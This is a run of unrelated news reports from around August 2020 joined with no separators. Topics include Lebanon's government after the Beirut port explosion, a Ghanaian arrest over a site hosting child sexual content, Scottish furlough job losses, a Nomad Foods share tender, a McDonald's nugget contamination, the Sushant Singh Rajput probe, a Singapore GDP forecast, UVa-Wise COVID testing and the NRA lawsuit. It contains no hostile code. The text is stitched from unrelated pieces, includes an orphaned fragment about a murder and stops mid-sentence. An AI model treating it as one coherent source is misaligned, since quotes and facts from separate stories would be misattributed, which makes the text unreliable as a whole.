Hassan Diab said they more than two dozen times but he never said who they were, nor explained what exactly they had done. As Lebanon reels in shock and anger over the August 4 explosion that killed at least 171 people, analysts and government insiders say the political establishment that named Diab prime minister-designate in late January had backed in his failure from the beginning; that he was chosen for a role and he played it well, wittingly or not. Diab was picked by Hezbollah and its allies the Free Patriotic Movement and the Amal Movement amid an unprecedented protest movement railing against a ruling elite whose corruption and negligence led the country into deep economic and social crises. After his designation as prime minister in January, Diab said he would form a government of independent experts who would rescue Lebanon from economic and social doom. Bassel Sallouk, an associate professor of political science at the Lebanese American University, said it was a ploy of Lebanons establishment. The main aim there was to defuse the momentum of the October 17 protests and they did that very brilliantly, Salloukh told Al Jazeera. We saw the momentum of the protest movement die down after Diab came to power. Salvage the system Some parts of the political establishment chose to sit out of Diabs cabinet, which won a vote of confidence in parliament in February. Among them were the Future Movement of Saad Hariri Diabs predecessor who resigned in the face of the months-long anti-establishment protests and the Lebanese Forces and Progressive Socialist Party of former militia leaders Samir Geagea and Walid Joumblatt. But regardless of whether they were in or out, establishment politicians took to criticising Diabs government and blaming it for the ills of 30 years of failed rule following the countrys 1975-90 civil war. Despite their internal differences, what these political actors will always agree on is to salvage the sectarian political system this is what allows them to stay in power, to make money, Salloukh said. In the end, we felt that they wanted to make us the criminals, that they wanted to put this all on us, and it was a major reason for the [governments] resignation, Ghada Shreim, minister for displaced people in Diabs now-caretaker government, told Al Jazeera. Whats behind Lebanons worst economic crisis in decades? Al Jazeeras @timourazhari explains pic.twitter.com/TWAj2rzgZS Al Jazeera English (@AJEnglish) July 19, 2020 House Speaker Nabih Berri, one of the key figures of Lebanons unbudging political class, had called for a session on Thursday to question the government over the explosion, which also wounded 6,000 people and rendered 300,000 homeless. This was unacceptable to us, Shreim said. It was theatre aimed at completing this story that we are the ones responsible for everything, she added. Marie-Claude Najem, Lebanons caretaker justice minister, said the government had faced off with deeply entrenched interests, an economic crisis and the coronavirus pandemic and worked harder than any past administration but fell short. The real power is not in the hands of the institutions as much as in the hands of the traditional political forces its basically an issue of private interests over the public interest, she told Al Jazeera. Calling it effectively a lame-duck cabinet, Maha Yahya, the director of the Carnegie Middle East Center, said Diabs government was not allowed by the countrys political elite to take any important decisions. I think that it was already on its way out and the explosion basically accelerated the whole process, due to the absence of leadership in the response effort and the lack of state institutions, she added. Though government ministers point to the past when confronted with Lebanons deep crisis today, they proved unable to stop the countrys economic collapse during six months in power. Diabs office was also informed of the presence of the 2,750 tonnes of ammonium nitrate stored at Beiruts port that fuelled last weeks explosion at least two weeks before it happened but failed to act on time. A general view shows the extensive damage at the site of the explosion in Beiruts port area, Lebanon [File: Mohamed Azakir/Reuters] The government was not helped by the fact that Diab was basically politically inept, and though he was a good guy he was in way above his head, a government source told Al Jazeera. Before becoming prime minister, Diab was a little-known academic and a vice president at the American University of Beirut, where he had taught for more than 30 years. He had been education minister for nearly three years (2011-14), after which he published a thick book full of his so-called achievements. Among the public, he was known for his verbose speeches that blended populism with tortured metaphors. In one 20-minute speech, which he began with a two-and-a-half-minute metaphor involving a sinking ship, Diab claimed the government had achieved 97 percent of its goals three months in. He gave academics a really bad name technocrat or independent has become a swearword, Salloukh said, referring to Diabs initial assertion that his was a government of independent experts. The failure of a government headed by self-described independent technocrats worked in favour of a political class who have sustained themselves for decades on a clientelistic relationship with their supporters a relationship based on the provision of services in exchange for loyalty. In the end, it was clear that nothing could be done without obstacles being put in the way by those with hidden interests, the government source said. Diab had said as much in his final address. I said previously that the system of corruption is deeply rooted in all parts of the state, but I found that the regime of corruption is bigger than the state. The National Cyber Security Centre (NCSC) of the Ministry of Communications, in collaboration with the Criminal Investigation Department (CID) of the Ghana Police Service and the National Cyber Security Technical Working Group, have arrested the administrator of the notorious website, empress leak. Empress leak is a website known for the publication of child pornographic and adult sexual content. The website reportedly records about 600,000 monthly users who are located in Ghana, Nigeria and the United Kingdom. The Minister of Communications, Mrs. Ursula Owusu-Ekuful disclosed this during a joint press briefing held on Monday, August 10, 2020, in Accra, to announce the arrest of the operator. Addressing the media, she noted that, an investigation to clamp down on activities of empress leak was launched after a female Senior High School student, filed a report on January 6th, 2020, with the Computer Emergency Response Team (CERT-GH) of the NCSC. The report by the victim who is below 18 years, was to alert the CERT-GH team of an uploaded sexually explicit video of her to the website. The Minister further noted that preliminary investigations uncovered information on the website's registrant information, associated domain names, email addresses, telephone contacts as well as residential address of the administrator, Mr. Anderson Ofosuhene Anim. She said, as part of Government's efforts towards the protection of Ghana's cyberspace, the National Cyber Security Centre in 2019 launched a Cybercrime/Cybersecurity Incident Reporting Point of Contact (PoC), to provide an effective mechanism for citizens to report suspected and identified cybercrime and cybersecurity incidents. The Minister stated that since the operationalization of the PoC, the NCSC has received countless cybercrime/cybersecurity incidents reports from the public. Key among these reports is the publication of non-consensual intimate images (sextortion), online impersonation, online fraud, malware attacks, online blackmail, website defacement, among others According to her, sextortion and distribution of sexual images of individuals are gradually becoming a canker in the Ghanaian cyberspace, due to the trusting nature of most Ghanaians. Out of a total of 296 cases received by the National CERT between January 1 to June 30, 2020, 27% of the cases, representing a total of 79 cases, are related to either sextortion, non-consensual sharing of intimate images or child online abuse, she added. She stressed that these criminal acts are perpetrated by malicious individuals who build acquaintance with unsuspecting victims on platforms such as social media, dating and adult website through the use of fake identities. Explaining how these criminals operate, the Minister said, victims, are coaxed to either share nude pictures/video of themselves or perform sexual acts that are secretly recorded. The criminals capitalize on these recordings to extort monies from victims. Touching on the provisions of the law, the Minister explained that Child pornographic content and the act of extortion constitutes criminal activities under Section 136(1) of the Electronic Transactions Act, 2008 (Act 772) (c) possesses child pornography in a computer system or on a computer or electronic record storage medium, commits an offence and is liable on summary conviction to a fine of not more than 25 penalty units or a term of imprisonment of not more than10 years or to both, and Section 151 of Criminal and Other Offences Act, 1960 (Act 29). She added that Government and its agencies are working assiduously to curtail the prevalence of cybercrimes, however, implored the general public, especially children and young adults to be cautious of the activities of malicious individuals. COP Isaac Ken Yeboah, Director General, CID of the Ghana Police Service The Director-General of the CID of the Ghana Police Service, COP Isaac Ken Yeboah, in his address, mentioned that victims who reach out to the perpetrators of these criminal activities are compelled to pay between GHS 500 to 1,000 via mobile money. He revealed that the suspect will be charged for obscenity, child pornography and extortion. The press briefing was also graced by the National Cybersecurity Advisor, Dr. Albert Antwi-Boasiako, Deputy Minister for Communications, George Andah, Deputy Minister for Communications, Alexander Abban, Director, Cybercrime Unit, Dr. Gustav Yankson, Chief Director, Mrs. Magdalene Apenteng and others. The National Cyber Security Centre works closely with the National Cyber Security Technical Working Group (NCSTWG), which is the governance body responsible for providing technical direction to the country's cybersecurity. ---Daily Guide Rishi Sunak ruled out an extension during his visit to Scotland last week - Jeff J Mitchell/PA There is no doubt that there will be a huge wave of redundancies across Scotland once the furlough scheme ends, business leaders have warned. Liz Cameron, the chief executive of the Scottish Chambers of Commerce, said on Tuesday that while data suggests that fewer than one in ten Scottish firms had let workers go so far, many more were planning to do so once the furlough scheme winds up in October. She told MSPs on Holyroods economy committee that as yet unpublished data obtained through a survey of businesses found that between 35 and 40 per cent said they would struggle to bring all furloughed workers back and were currently planning redundancy offers. Her comments came as new unemployment figures, published on Tuesday, showed the number of people in work in Scotland fell by 15,000 between April and June as the impact of lockdown hit. Dr Cameron said: There is no doubt in our mind, driven by business intelligence data, that the furlough scheme has masked, and is continuing to mask, really high numbers of redundancies and individuals losing their jobs. There is no doubt in our mind about that. We are going to see a lot of redundancies coming our way in the next few months. The official employment figures from the Office for National Statistics showed that the proportion of people aged 16 to 64 in employment north of the border fell between April and June to 74.3 per cent (2.651 million). The unemployment rate rose over that period to 4.5 per cent, up from 4.1 per cent in the previous quarter, meaning 124,000 people are out of work. This was higher than the UK unemployment rate of 3.9 per cent. Nicola Sturgeon said: "All of these figures demonstrate again that, despite the UK Government's Job Retention Scheme and the support that the Scottish Government is providing to business, the public health crisis of Covid is creating a very significant economic crisis." She added that the "best way" to ensure that the economy recovers is to ensure the suppression and elimination of the virus. Story continues The First Minister has repeatedly called for the furlough scheme to be extended beyond October. However, during a visit to Scotland last week, that was ruled out by Rishi Sunak, the Chancellor, who said it would have been in place for eight months by the time it ends. He said: People not being attached to a work place is not good for their long term prospects. So, if its not going to be the case that that job is going to be there, we are better off providing new opportunities and different types of support for those people, which is what we did in the plan for jobs earlier. GRAFTON, Ohio A longtime TV weatherman in Columbus who pleaded guilty to child pornography charges will serve his prison sentence in Lorain County, reports say. Mike Davis will serve a minimum of four years in the Grafton Correctional Institution, WBNS Channel 10 reports. Davis was sentenced in May after pleading guilty in January to four charges related to child pornography. Davis could serve up to six years in Grafton and must register as a sex offender for 25 years after his release, WCMH Channel 4 reports. He had faced a maximum prison sentence of nearly 30 years. Davis was a weatherman for WBNS for more than 30 years. He was arrested in September 2019 after being accused of downloading and emailing videos to himself of child pornography. The activity occurred between October 2018 and September 2019, and nearly 16,000 child-porn images were found in his possession, reports say. WCMH reports that court records show that Davis did not share any of the images and there is no evidence he had inappropriate contact with children. More crime-related content on cleveland.com: Video posted online shows shooting on Toledo, Ohio, basketball court Shots fired at Akron teens after arranging online sale of cellphone Akron Dairy Queen owner scares off would-be robbers by firing shot Akron man arrested in connection with 2019 deadly home invasion Euclid man charged with murder after girlfriends 18-month-old daughter dies of severe head injury Consult PR is offering hosting and maintenance services for ColdFusion software. It [ColdFusion] isnt our main thing but its something were very very good at over the years and weve still maintained talent and personnel that can service and support Coldfusion." - Paul Ramkissoon, President of Consult PR. Consult PR is offering hosting and development services for ColdFusion applications. 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Nomad Foods Limited (NYSE: NOMD), today announced that it has commenced the previously announced "modified Dutch auction" tender offer to purchase with cash up to $500 million of its ordinary shares, at a price per share of not less than $23.00 and not more than $25.50. The complete terms of the tender offer are set forth in the offer to purchase and the related letter of transmittal, each dated today. The tender offer will expire at 5:00 p.m., New York City time, on September 9, 2020, unless extended by Nomad or otherwise terminated. Tenders of shares must be made on or prior to the expiration of the tender offer and may be withdrawn at any time prior to the expiration of the tender offer, in each case, in accordance with the procedures described in the tender offer materials. The tender offer is not conditioned on the receipt of financing or any minimum value of shares being tendered. Subject to applicable law, Nomad may extend, terminate or otherwise amend the tender offer in its sole discretion. Nomad expects to use cash and cash equivalents to fund the purchases of the shares validly tendered and accepted in the tender offer. A "modified Dutch auction" tender offer allows shareholders to indicate how many shares and at what price within Nomad's specified range they wish to tender. Based on the number of shares tendered and the prices specified by the tendering shareholders, Nomad will determine the lowest price per share within the specified range that will enable Nomad to purchase shares having an aggregate purchase price of up to $500 million. Nomad also reserves the right, in the event that more than $500 million of its shares are tendered in the tender offer at or below the purchase price, to purchase at its option up to an additional number of shares not to exceed 2% of the total number of its ordinary shares outstanding (exclusive of any shares held by or for Nomad's account or by or for the account of any of Nomad's subsidiaries) without amending or extending the tender offer. All shares purchased by Nomad in the tender offer will be purchased at the same price. Shareholders whose shares are purchased in the tender offer will be paid the determined purchase price in cash, less any applicable withholding taxes and without interest, promptly after the expiration of the tender offer. Shareholders wishing to tender their shares but who are unable to deliver them physically or by book-entry transfer prior to the expiration of the tender offer, or who are unable to make delivery of all required documents to the depositary prior to the expiration of the tender offer, may tender their shares by complying with the guaranteed delivery procedures set forth in the offer to purchase. Neither the Company, its board of directors, the dealer manager, the information agent, nor the depositary makes any recommendation as to whether any shareholder should participate or refrain from participating in the tender offer or as to the price or prices at which shareholders may choose to tender their shares in the tender offer. The dealer manager for the tender offer is Credit Suisse Securities (USA) LLC. Georgeson LLC is serving as information agent for the tender offer and Computershare is serving as the depositary for the tender offer. Additional Information Regarding the Tender Offer This press release is for informational purposes only and is not an offer to buy or the solicitation of an offer to sell any of the Company's ordinary shares. The tender offer is being made solely by the Offer to Purchase, Letter of Transmittal and other tender offer documents, as they may be amended or supplemented from time to time, dated August 11, 2020. Each of these documents are being sent to shareholders and have been filed with the Securities and Exchange Commission. Shareholders may obtain them for free from the Securities and Exchange Commission at its website (www.sec.gov). Shareholders may also obtain a copy of these documents from the information agent, Georgeson LLC, by calling (800) 248-3170 (toll-free) or (781) 575-2137 (international). SHAREHOLDERS ARE URGED TO CAREFULLY READ THE OFFER TO PURCHASE, LETTER OF TRANSMITTAL AND RELATED MATERIALS BECAUSE THEY CONTAIN IMPORTANT INFORMATION, INCLUDING THE VARIOUS TERMS OF, AND CONDITIONS TO, THE TENDER OFFER, THAT SHAREHOLDERS SHOULD CONSIDER BEFORE MAKING ANY DECISION REGARDING TENDERING THEIR SHARES. Forward-Looking Statements Certain statements in this announcement are forward-looking statements which are based on the Company's expectations, intentions and projections regarding its future performance, anticipated events or trends and other matters that are not historical facts, including expectations regarding the tender offer. These statements are not guarantees of future performance and are subject to known and unknown risks, uncertainties and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements, including: (i) the Company's ability to satisfy the conditions to the tender offer; (ii) the price per share at which the Company ultimately determines to purchase shares in the tender offer and the number of shares tendered in the tender offer; (iii) the Company's ability to complete the tender offer, including the number of shares the Company is able to purchase pursuant to the tender offer; (iv) the ability to achieve the benefits contemplated by the tender offer; (v) any adverse impact that the tender offer may have on the Company and the trading market for the Company's ordinary shares; (vi) the impact of the COVID-19 pandemic on the Company's business, suppliers, co-manufacturers, distributors, transportation or logistics providers, customers, consumers and employees; (vii) tapering or reduction of consumer demand for frozen foods as pandemic-related restrictions are lifted or conditions improve; (viii) the Company's ability to meet elevated demand; (ix) the success of the Company's strategic investments and capital allocation strategy (x) disruptions or inefficiencies in the Company's operations, supply chain or distribution channels, including as a result of the COVID-19 pandemic, and the Company's ability to maintain the health and safety of its workforce; (xi) the duration, spread and intensity of the pandemic and related government restrictions and other government responses; (xii) the Company's ability to successfully identify suitable acquisition targets and adequately evaluate the potential performance of such acquisition targets; (xiii) the Company's ability to successfully implement its strategies (including its M&A strategy) and strategic initiatives and to recognize the anticipated benefits of such strategic initiatives; (xiv) the Company's ability to accurately predict the performance of its Green Cuisine brand and its impact on the Company's growth; (xv) the Company's ability to effectively compete in its markets, including the ability of Green Cuisine to effectively compete in Continental Europe; (xvi) changes in consumer preferences, such as meat substitutes, and the Company's failure to anticipate and respond to such changes or to successfully develop and renovate products; (xvii) the effects of reputational damage from unsafe or poor quality food products; (xviii) the risk that securities markets will react negatively to actions by the Company; (xix) the adequacy of the Company's cash resources to achieve its anticipated growth agenda; (xx) increases in operating costs, including labor costs, and the Company's ability to manage its cost structure; (xxi) fluctuations in the availability of food ingredients and packaging materials that the Company uses in its products; (xxii) the Company's ability to effectively mitigate factors that negatively impact its supply of raw materials; (xxiii) the Company's ability to protect its brand names and trademarks; (xxiv) uncertainty about the terms of any trade agreement between the UK and the EU associated with Brexit, as well as the potential adverse impact of Brexit on currency exchange rates, global economic conditions and cross-border agreements that affect the Company's business; (xxv) loss of the Company's financial arrangements with respect to receivables factoring; (xxvi) the loss of any of the Company's major customers or a decrease in demand for its products; (xxvii) economic conditions that may affect the Company's future performance including exchange rate fluctuations; (xxviii) the Company's ability to successfully interpret and respond to key industry trends and to realize the expected benefits of its responsive actions; (xxix) the Company's failure to comply with, and liabilities related to, environmental, health and safety laws and regulations; (xxx) changes in applicable laws or regulations; and (xxxi) the other risks and uncertainties disclosed in the Company's public filings and any other public disclosures by the Company. Given these risks and uncertainties, prospective investors are cautioned not to place undue reliance on forward-looking statements. Forward-looking statements speak only as of the date of such statements and, except as required by applicable law, the Company does not undertake any obligation to update or revise publicly any forward-looking statements, whether as a result of new information, future events or otherwise. About Nomad Foods Nomad Foods (NYSE: NOMD) is a leading frozen foods company building a global portfolio of best-in-class food companies and brands within the frozen category and across the broader food sector. The company's portfolio of iconic brands, which includes Birds Eye, Findus, Iglo, Aunt Bessie's and Goodfella's, have been a part of consumers' meals for generations, standing for great tasting food that is convenient, high quality and nutritious. Nomad Foods is headquartered in the United Kingdom. Additional information may be found at www.nomadfoods.com View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005172/en/ Contacts: Nomad Foods Contacts Investor Relations Contacts Taposh Bari, CFA Nomad Foods Limited +1-718-290-7950 John Mills ICR, Partner +1-646-277-1254 Media Contact Felipe Ucros Gladstone Place Partners +1-212-230-5930 A six-year-old girl from the United Kingdom almost choked on a piece of blue surgical face mask that she bit into. The surgical face mask was found cooked into the McDonald's chicken nugget that her mother ordered for her. Surgical mask in the McNugget The 32-year-old mother, Laura Arber, bought the takeaway from the Aldershot branch on August 4. She said that her daughter began to choke on the McNugget as they ate their meal at home. Arber said that she put her fingers down her daughter's throat to remove what was blocking her passageway and she noticed something blue in her daughter's vomit. Arber told Hampshire Live that she did not think it could be the chicken nugget but she looked over at the box and all that she saw was the blue coming out of another chicken nugget in the box of 20 that she ordered. Also Read: BPA: Report Names 78 Brands Still Using Chemical In Food Containers The mother described the mask as being cooked into the nugget like it was a part of the mixture. Arber then returned to the branch to report the contamination and said that the nuggets were not cooked on-site and that they have a supplier for it. A spokesperson for McDonald's said that food safety is the main priority and that it is very important to them. The spokesperson added that they put great emphasis on quality control and they follow rigorous standards to avoid any imperfections, as reported by Independent UK. As soon as they were made aware of the issue, they opened a full investigation with their supplier and they have taken action to ensure any product from the batch is removed from the branches. They offered a full apology to the customer and they are currently in conversation with their customer services team. Items found in McDonald's food This is not the first time that something horrifying was found in a McDonald's food, in 2015 a tooth was found in a carton of French fries, according to BBC. The incident happened in McDonald's Japan. After the customer found the tooth, the fast-food chain did not deny it, in fact, the spokesperson for McDonald's Japan even confirmed that a chunk of vinyl was found in a container of McNuggets and a hunk of plastic was found from a frosty ice cream sundae. The executives of McDonald's Japan ensured the public that they will do their best to stop those types of incidents from happening again. According to the fast-food chain, they ran out of supplies and had to bring in supplies from America. They do not know how the tooth got in the mix. The customer who got the tooth in the carton of fries said that the manager of McDonald's Osaka branch told her that the tooth had also gone into the fryer because they did not notice it. There are still so many unanswered questions as no one can figure out how the tooth got into the food bag. The incident has raised questions and concerns about the food safety control of the fast-food chain as it shows that there is a problem. The executives apologized and no similar incident happened since. Related Article: Hot Dog Ingredients: Human DNA Among Disturbing Components Found In Hot Dog @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Actor Sushant Singh Rajputs sister Meetu Singh reached the Enforcement Directorates office on Tuesday afternoon in connection with probe related to alleged money laundering in the case involving her brothers death. She is the first member of Rajputs family who has been called for questioning by the ED. Singh was called by Mumbai Police five times, had never produced herself before the investigators for recording her statement. Sources in the ED said that the agency expects Singh, a Goregaon resident, to put light on some of his brothers financial activities related to his girlfriend Rhea Chakraborty, who is the prime accused in the money laundering case. Singh was among the few people who had first reached Rajputs residence on June 14 on hearing that the actor is not opening the door of his room. She had also accompanied the police team to Lonavala farmhouse which Rajput would often give on rent. Besides Singh, the ED is also questioning Rajputs former manager and Chakrabortys present manager Shruti Modi and Rajputs friend and roommate Sidhharth Pithani. The two were also questioned previously on two occasions. EDs investigation is focused around Chakrabortys income, expenditures, investments and business and professional deals. Details of her properties in Khar and Navi Mumbai and dealings of her companies established jointly with Rajput, were also under scrutiny. The ED is also scanning through Rheas phone call details and her WhatsApp chats with Rajput. They also wish to retrieve deleted messages of chat between Chakraborty and Rajput suspecting she might have deleted those messages which could explain some suspicious financial transactions. Chakraborty had initially refused to appear before the agency, citing her appeal pending before the Supreme Court, but later produced herself before the agency on Friday and again on Monday. Her statements were recorded under the Prevention of Money Laundering Act (PMLA). The ED has focused the probe on Chakrabortys income which they suspect is not matching with her expenses. During previous questioning, Chakraborty, while responding to ED investigators about the details of Khar flat, had claimed that she took around Rs 60 lakh home loan for the property worth Rs 84 lakh. Chakraborty had said that she managed to arrange rest of the amount on her own and made the payment through cheques in phases, the officials said. ED investigators also probing if any money laundering linked to two Navi Mumbai-based companies Chakraborty and her brother Shovik had formed with Rajput. Chakraborty has so far maintained that she did not siphon of anyones money, the officials said. The ED filed a case on July 31 on the basis of a first information report (FIR) by the Bihar Police. The FIR was registered after a complaint by Rajputs father KK Singh who accused Chakraborty and her family of abetting the Bollywood actors suicide and siphoning of his money. Singh claimed that close to Rs 15 crore were transferred from Rajputs account to unknown people not linked to him. He said that his sons credit cards were with Chakraborty. Alongside ED, the Central Bureau of Investigation (CBI), too, has launched a probe on the request of the Bihar government and has named Chakraborty, her brother and four other family members, apart from unknown people, as accused. The Minister of Education, Hon. Dr. Matthew Opoku Prempeh has painted a bleak picture of the state of affairs in the education sector at the time his predecessor, Prof. Naana Jane Opoku-Agyemang left office in January 2017, describing the bills as huge. Dr. Prempeh, who is also MP for Manhyia, made the revelation in a comprehensive statement to Parliament earlier today on education reforms and teacher education since the NPP assumed office. Mr. Speaker...we met huge outstanding bills under the leadership of Prof. Jane Naana Opoku-Agyemang as Minister of Education, on key supplies for education service delivery. There was outstanding bill of approximately GHS 9m on Capitation Grant, GHS 4m on Feeding Grant for Special Schools, GHS 14m on exercise books to basic schools, and GHS 4m on the supply of school uniforms among many others. He continued, Moreover, there were delays in the disbursement of capitation and feeding grants for Special Schools affecting the effective operation of the schools. Within the period, Government has cleared all the arrears and ensured the timely release of capitation and feeding grants for Special Schools, to loud cheers from the Majority benches in the House. It will be recalled that Dr. Prempeh has on previous occasions criticized his predecessor, who is currently the running mate of the NDC ahead of the 2020 General elections for her handling of the Education Ministry, and it is expected that education will be one of the biggest battlegrounds ahead of the elections as the two main parties tussle over their records in the sector. In his statement, Dr. Prempeh touched on other initiatives and reforms rolled out by the NPP government in the education sector, including teacher training, staff promotion, the teacher licensure regime, infrastructure investments, a legal and regulatory framework, improvements in the Technical, Vocational Education & Training (TVET) subsector and several others. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Kerner loaded the bodies into a Honda Civic that belonged to Lanhams stepfather, Silva told police, while he placed the bloody towels in a white trash bag. Kerner handed him the gun, which was placed on a towel and Silva wrapped the gun in the towel and placed it in the trash bag with the bloody towels, documents state. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 15:45 526 6657ac82168da9fa101c8a4066d251a5 4 National Meulaboh,aceh,tsunami,BMKG,weather,thunderclouds Free A large, greyish white cloud appeared on Sunday morning over Meulaboh in Aceh province to shock the city's residents, some of whom thought that the low-lying, horizontal cloud formation resembled a tsunami. Videos and photos of the strange cloud made their rounds on social media, sparking some concerns among local residents. Twitter user Arief Arbianto tweeted using the handle @masawep on Monday morning: "Let us pray that Meulaboh city will be all right. A view of a this morning's cloud above Meulaboh, West Aceh regency." Mohon doanya Kota Meulaboh baik2 saja. Pemandangan awan pagi ini di atas kota Meulaboh, Aceh Barat. pic.twitter.com/gU4jTSa7Zo Arief Arbianto (@masawep) August 10, 2020 Meanwhile, user Agus Maulana (@a_mantu71) posted a video clip to his account on Monday afternoon, calling the "uncommon phenomenon" a "tsunami cloud". Fenomena yg tdk lazim, awan tsunami di Mbo Aceh Barat pic.twitter.com/FrVySSFIaP Agus Maulana (@a_mantu71) August 10, 2020 Weather forecast and early warning head Miming Saepudin of the Meteorology, Climatology and Geophysics Agency (BMKG) identified the rare weather phenomenon spotted over Meulaboh. "It is a relatively rare phenomenon called an arcus cloud," Miming said on Monday as reported by kompas.com. Miming said that arcus clouds formed as a result of atmospheric instability caused when air masses of different temperatures and humidity met "The cooler air masses push the warmer air up to form horizontal clouds," he said, adding that an arcus cloud could be a sign of bad weather in the area where it appeared, such as strong winds and thunderstorms. "So we urge all residents to stay alert, especially fishermen, as the cloud could cause strong winds and heavy rainstorms accompanied by thunder," he said. Miming debunked suggestions by several social media users that the cloud signified an impending earthquake or tsunami. Such a cloud is purely a [natural weather] phenomenon due to atmospheric dynamics and has nothing to do with potential earthquakes or tsunamis or mystical things, he stressed. (nal) Topics : Meulaboh aceh tsunami BMKG weather thunderclouds Source: Xinhua| 2020-08-11 13:23:25|Editor: huaxia Video Player Close SINGAPORE, Aug. 11 (Xinhua) -- Singapore's Ministry of Trade and Industry (MTI) announced on Tuesday that it narrowed the gross domestic product (GDP) growth forecast for 2020 to "-7 to -5 percent" from "-7 to -4 percent." The ministry said that it considered the global and domestic economic environment, as well as the performance of the Singaporean economy in the first half of the year, before adjusting the GDP growth forecast. It said that since the MTI downgraded Singapore's GDP growth forecast for 2020 to "-7 to -4 percent" in May, the city-state has seen its economic outlook weakened slightly. Several of Singapore's outward-oriented sectors will continue being dragged by the subdued external economic environment. The reopening of international borders will take place on more gradual paces due to protracted COVID-19 situation worldwide, which will likely weigh on the outlook of sectors that are reliant on tourism and air travel in Singapore. The requirements on safe management measures slowed down the resumption of activity for the sectors that are reliant on foreign workers who reside in dormitories, and furthermore, casted negative spillover effects on the industries that support these sectors. The MTI also announced that Singapore's economy contracted by 13.2 percent year on year in the second quarter, worsening from the 0.3 percent contraction in the previous quarter. On a quarter-on-quarter seasonally-adjusted basis, the economy contracted by 13.1 percent, sharper than the 0.8 percent fall in the first quarter. Enditem ROANOKE Two days before students at the University of Virginias College at Wise were to begin arriving on campus, the college announced it would delay classes by two weeks. And another surprise: All students would get at-home COVID-19 test kits before returning. While the colleges parent University of Virginia promised tests for its Charlottesville students back in July, the announcement Aug. 3 was the first time roughly 1,400 UVa-Wise students learned they, too, would be required to test negative for COVID-19 before arriving on campus. Some students see the news as another example of inequality between the two schools that the pandemic has exacerbated. We are never getting the same treatment, especially with this COVID, said Weston Allen, a 24-year-old senior from Blacksburg. Pardon the language, Allen prefaced before quoting one of his professors who had declared UVa-Wise to be the bastard child of UVa. They always get the first stuff and its never extended to the satellite campus, Allen said. Its always delayed. Kathy Still, a spokeswoman for the college, said the school didnt initially require student testing based on guidance from the Centers for Disease Control and Prevention and on the low positivity rates in the region, when UVa-Wises reopening plan was submitted July 6 to the state. But at that time, Wise County had a slightly higher per capita rate of cases than did the city of Radford, where Radford University in its July reopening plan mandated tests for hundreds of on-campus students. State data shows cases in Wise County increasing steadily since about early July. According to the Virginia Department of Health, as of Saturday, Wise County had a rate of 332 cases per 100,000 people, compared with 278 for Radford and 304 for Montgomery County, home of Virginia Tech. The college has monitored the data since the start of the pandemic. There was not a single aspect of the data that led to our decision, Still said in an email about last weeks announcement about testing and the delayed start. We relied and still rely on the VDH and the LENOWISCO Health District to guide us on metrics. We are in nearly constant contact with the director of the LENOWISCO Health District on all local COVID 19 matters, she said. I cannot speak to any decisions made by Radford. Still cited CDC guidance, which does not recommend campus entry testing of all students, faculty and staff but says colleges may consider testing of asymptomatic students in areas with moderate to significant community transmission, as resources allow. There has been ongoing collaboration and coordination between UVa and UVa-Wise throughout the pandemic. Given recent positivity rates of the virus across Virginia, UVa and UVa-Wise decided recently it is best to extend the testing plan for all students with ongoing testing support from the UVa Health Clinic on campus, Still said. We expect to receive more than enough tests for all our students, and our supply will be replenished as needed throughout the semester. In its announcement last week, the college said 71 residential students were already on campus. Those students, and about 100 employees, were tested that same day using kits from the UVa Health System. Out of about 175 tests, one student tested positive and was quarantined at home, Still said. Residential students were set to begin moving in from Aug. 5-10, with classes beginning this Wednesday. News of the two-week delay came a day before UVa announced it would push back in-person classes and move-in dates by two weeks in response to an uptick in local and national coronavirus cases. Students in Charlottesville were set to start moving in Aug. 18, with classes beginning Aug. 25. UVa also cited supply chain disruptions affecting the availability of testing materials as a reason for the delay. For tests, both UVa and UVa-Wise are contracting with the company Lets Get Checked, which has offices in New York and Dublin, Ireland. Each test for UVa-Wise will cost $119, which the college plans to cover using federal CARES Act funding, according to Still. Andrew Leonard, a 20-year-old junior from Norton, said he is concerned about going back to campus. He thinks UVa-Wises testing plan should have been the same as UVas. But the positive case on campus and uptick in cases locally makes him think a delay isnt enough. I really dont think they should have opened at all, said Leonard, who is taking most of his classes online. Allen, who said he has an autoimmune disease, said he was happy to hear that UVa-Wise eventually required students to get tested before coming back. But he remains worried about the lack of health care infrastructure in the Southwest Virginia area, and what will happen between the time students receive their test and when they return to campus. I dont know how this semester is going to work, he said. New York Attorney General Letitia James made national news when she filed suit last week against the leading gun rights advocacy group, the National Rifle Association. Charges of engaging in self-dealing, diverting the nonprofits funds for personal use and awarding contracts to close associates are among the accusations laid out against leadership at the NRA, leading James to call for the groups dissolution. The organization quickly fired back that Jamess action stems from political bias, referring to it as a premeditated attack aiming to dismantle and destroy the NRA in a statement. Critics have also pointed to Jamess promises on the campaign trail to investigate the NRAs nonprofit status and comments referring to it as a terrorist organization as further proof of her targeting the institution. But experts in nonprofit law say that there is substantial enough evidence against the NRA that questions of political bias are rendered moot. The case speaks for itself, said Daniel Kurtz, former assistant attorney general-in-charge of the state Attorney Generals Charities Bureau. Thats essentially just a distraction. Motive is essentially irrelevant. Why did you bring this? I dont know, its pretty egregious. A result of an 18-month investigation into the conservative pro-gun membership-based group, the states lawsuit specifically targets four top officials affiliated with the NRA, including CEO Wayne LaPierre. LaPierre is being accused of spending more than $3.6 million on travel consultants, taking at least eight private flights to the Bahamas with his family using NRA funds and awarding himself a $17 million post-employment contract without board approval. LaPierres arrangements could violate nonprofit law if they arent shown to be valid business expenses, many of which were also not reported to the attorney generals office according to her complaint. I think the NRAs officers and directors forced her hand. Theyre not close to compliance, based on the reported details and whats in the complaint, said Philip Hackney, an expert in nonprofit law at the University of Pittsburgh School of Law, noting that it also harms members of the organization when funds are misused. Pushing to dissolve the organization is also well within the attorney generals rights, the experts said, given the seemingly pervasive nature of the fraudulent behavior noted in the complaint. The New York attorney generals office has also been responsible for dissolving the Trump Foundation amid accusations of misuse of charitable dollars, in a lawsuit that President Donald Trump claimed was politically motivated. As an active, large organization the NRA will likely have a stronger defense than the Trump Foundation, where officials rarely met. The NRA could potentially make a case for reform instead, acknowledging its nearly 150-year-old history and various services it offers as proof of its value aside from a few bad apples at the organization, Kurtz 